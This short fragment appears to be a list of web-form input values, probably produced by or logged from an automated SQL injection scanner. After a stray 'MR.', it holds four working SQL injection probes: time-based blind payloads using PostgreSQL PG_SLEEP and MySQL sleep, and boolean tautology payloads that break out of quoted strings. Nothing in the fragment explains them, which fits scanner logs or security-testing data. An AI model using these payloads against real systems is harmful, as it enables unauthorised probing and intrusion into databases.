MR.
1-1 OR 867=(SELECT 867 FROM PG_SLEEP(15))--
if(now()=sysdate(),sleep(15),0)
-1\" OR 2+547-547-1=0+0+0+1 --
-1\' OR 2+134-134-1=0+0+0+1 or \'k89CnZ0D\'=\'
